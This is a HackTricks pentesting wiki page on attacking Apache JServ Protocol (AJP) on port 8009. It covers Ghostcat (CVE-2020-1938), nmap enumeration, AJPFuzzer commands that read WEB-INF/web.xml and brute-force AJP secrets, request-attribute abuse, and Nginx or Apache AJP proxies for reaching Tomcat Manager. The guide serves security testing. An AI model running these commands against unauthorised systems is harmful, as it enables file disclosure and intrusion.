8009-pentesting-apache-jserv-protocol-ajp.md (8728B)
1 --- 2 title: "8009 - Pentesting Apache JServ Protocol (AJP)" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 8009 - Pentesting Apache JServ Protocol (AJP) 14 15 ## Basic Information 16 17 The following description comes from DiabloHorn's overview of the protocol:<sup>[[3]](#references)</sup> 18 19 > AJP is a wire protocol. It is an optimized version of HTTP that allows a standalone web server such as Apache HTTP Server to communicate with Tomcat. The web server can serve static content directly and proxy requests for dynamic content to Tomcat. 20 21 Also interesting: 22 23 > The AJP/1.3 protocol is packet-oriented and uses a binary format. The web server communicates with the servlet container over TCP and can reuse persistent connections for multiple request/response cycles. 24 25 **Default port:** 8009 26 27 ```text 28 PORT STATE SERVICE 29 8009/tcp open ajp13 30 ``` 31 32 AJP is usually more interesting than plain HTTP because the backend **trusts the proxy** to set internal request metadata. In modern Tomcat, pay special attention to the connector attributes `address`, `secret`, `secretRequired`, and `allowedRequestAttributesPattern` when reviewing an exposed or reachable AJP service.<sup>[[1]](#references)</sup> 33 34 ## CVE-2020-1938 (Ghostcat) 35 36 Ghostcat is an AJP request-injection vulnerability that can disclose files from a web application, such as `WEB-INF/web.xml`; depending on application behavior and attacker-controlled files, it could also lead to code execution. Public proof-of-concept implementations show how to test the file-disclosure primitive.<sup>[[4]](#references)[[5]](#references)</sup> 37 38 The first patched releases were Tomcat **9.0.31**, **8.5.51**, and **7.0.100**.<sup>[[4]](#references)[[6]](#references)</sup> 39 40 After Ghostcat, default AJP deployments became less attacker-friendly: Tomcat requires an AJP secret by default, listens on loopback by default unless configured otherwise, and rejects unknown forwarded request attributes unless they match `allowedRequestAttributesPattern`.<sup>[[1]](#references)</sup> However, if you can still reach 8009 from an untrusted network, treat it as a high-value target. 41 42 ## Enumeration 43 44 ### Automatic 45 46 ```bash 47 nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP> 48 49 # Ask AJP directly for interesting paths and save the response body 50 nmap -p 8009 --script ajp-request \ 51 --script-args 'path=/manager/html,method=GET,filename=ajp-manager.out' <IP> 52 53 # Check allowed methods and headers on a custom path 54 nmap -p 8009 --script ajp-headers,ajp-methods \ 55 --script-args 'ajp-headers.path=/,ajp-methods.path=/manager/html' <IP> 56 ``` 57 58 ### [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#ajp) 59 60 ### Manual / Protocol-Aware Tooling 61 62 [Doyensec's AJPFuzzer](https://github.com/doyensec/ajpfuzzer) is very useful when you need to craft `ForwardRequest` packets, brute-force secrets, or fuzz request attributes instead of just replaying normal HTTP semantics.<sup>[[2]](#references)</sup> 63 64 ```bash 65 # Reproduce Ghostcat-style file disclosure primitives 66 java -jar ajpfuzzer_v0.7.jar 67 connect <IP> 8009 68 forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 <TARGET_IP> <TARGET_IP> 8009 false \ 69 "Cookie:test=value" \ 70 "javax.servlet.include.path_info:/WEB-INF/web.xml,javax.servlet.include.servlet_path:/" 71 ``` 72 73 ```bash 74 # Fuzz secret handling or attribute parsing 75 java -jar ajpfuzzer_v0.7.jar 76 connect <IP> 8009 77 genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \ 78 "Cookie:AAAA=BBBB" \ 79 "secret:FUZZ" /tmp/ajp_secret_candidates.txt 80 ``` 81 82 ## Request Attributes Abuse 83 84 AJP is not just "HTTP over another port". The protocol can carry **trusted request attributes** such as authenticated user information, TLS details, client certificate material, and arbitrary `req_attribute` name/value pairs. Historically, Ghostcat abused `javax.servlet.include.servlet_path` and `javax.servlet.include.path_info` to force server-side includes such as `/WEB-INF/web.xml`.<sup>[[2]](#references)</sup> 85 86 When assessing an AJP-exposed target, look for applications that make security decisions based on proxy-supplied data such as: 87 88 - `REMOTE_USER` / `remote_user` 89 - Client certificate related attributes (`javax.servlet.request.X509Certificate`, cipher, key size, SSL session) 90 - Source address / proxy metadata (`AJP_LOCAL_ADDR`, `AJP_REMOTE_PORT`, `AJP_SSL_PROTOCOL`) 91 - Custom request attributes consumed via `request.getAttribute()` 92 93 Modern Tomcat rejects unknown forwarded attributes with **403** unless the name matches `allowedRequestAttributesPattern`, so a permissive regex or legacy connector configuration is worth investigating.<sup>[[1]](#references)</sup> 94 95 ## HTTP -> AJP Desync / Request Smuggling 96 97 Even when port **8009** is not directly exposed, AJP may still be reachable through an HTTP reverse proxy such as `mod_proxy_ajp`. Recent real-world bugs showed that **HTTP frontends and AJP backends can disagree about request boundaries**, turning an external HTTP desync into a smuggled AJP request.<sup>[[2]](#references)</sup> 98 99 From an offensive perspective, this is interesting because the backend may trust the smuggled request more than normal HTTP traffic and may honor proxy-populated fields such as authenticated user or SSL metadata. During assessments of Apache httpd -> Tomcat stacks, test for classic desync behavior plus AJP-specific trust boundaries, especially around internal-only paths, auth-gated admin endpoints, and connectors still using old `mod_proxy_ajp` versions. 100 101 ## AJP Proxy 102 103 ### Nginx Reverse Proxy + AJP 104 105 ([Checkout the Dockerized version](/hacktricks/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp#nginx-dockerized-version)) 106 107 It's possible to communicate with an open AJP proxy port (8009 TCP) by using the Nginx third-party `ajp_module` and access the Tomcat Manager from this port which could ultimately lead to RCE in the vulnerable server. If the manager or host-manager becomes reachable, continue in [this Tomcat page](/hacktricks/network-services-pentesting/pentesting-web/tomcat/overview). 108 109 - Start downloading Nginx from [https://nginx.org/en/download.html](https://nginx.org/en/download.html) and then compile it with the AJP module: 110 111 ```bash 112 # Compile Nginx with the ajp module 113 git clone https://github.com/dvershinin/nginx_ajp_module.git 114 cd nginx-version 115 sudo apt install libpcre3-dev 116 ./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules 117 make 118 sudo make install 119 nginx -V 120 ``` 121 122 - Then, comment the `server` block and add the following in the `http` block in `/etc/nginx/conf/nginx.conf`. 123 124 ```json 125 upstream tomcats { 126 server <TARGET_SERVER>:8009; 127 keepalive 10; 128 } 129 server { 130 listen 80; 131 location / { 132 ajp_keep_conn on; 133 ajp_pass tomcats; 134 } 135 } 136 ``` 137 138 - Finally, start nginx (`sudo nginx`) and check it works by accessing `http://127.0.0.1` 139 140 ### Nginx Dockerized-version 141 142 ```bash 143 git clone https://github.com/ScribblerCoder/nginx-ajp-docker 144 cd nginx-ajp-docker 145 ``` 146 147 Replace `TARGET-IP` in `nginx.conf` with the AJP IP and then build and run: 148 149 ```bash 150 docker build . -t nginx-ajp-proxy 151 docker run -it --rm -p 80:80 nginx-ajp-proxy 152 ``` 153 154 ### Apache AJP Proxy 155 156 It's also possible to use an **Apache AJP proxy** to access that port instead of **Nginx**. 157 158 ```bash 159 a2enmod proxy proxy_ajp 160 161 # Basic pivot to the backend AJP listener 162 ProxyPass / ajp://<TARGET_SERVER>:8009/ 163 ProxyPassReverse / ajp://<TARGET_SERVER>:8009/ 164 165 # If the backend requires an AJP secret (common in modern Tomcat/httpd) 166 # ProxyPass / ajp://<TARGET_SERVER>:8009/ secret=<AJP_SECRET> 167 ``` 168 169 ## References 170 171 - [1] [Apache Tomcat 9 Configuration Reference - The AJP Connector](https://tomcat.apache.org/tomcat-9.0-doc/config/ajp.html) 172 - [2] [Learning AJP (Doyensec Blog)](https://blog.doyensec.com/2022/11/15/learning-ajp.html) 173 - [3] [DiabloHorn - 8009, the forgotten Tomcat port](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) 174 - [4] [NVD - CVE-2020-1938 (Ghostcat)](https://nvd.nist.gov/vuln/detail/CVE-2020-1938) 175 - [5] [Exploit-DB - CVE-2020-1938 file-read proof of concept](https://www.exploit-db.com/exploits/48143) 176 - [6] [Apache Tomcat 9 Security - CVE-2020-1938](https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.31)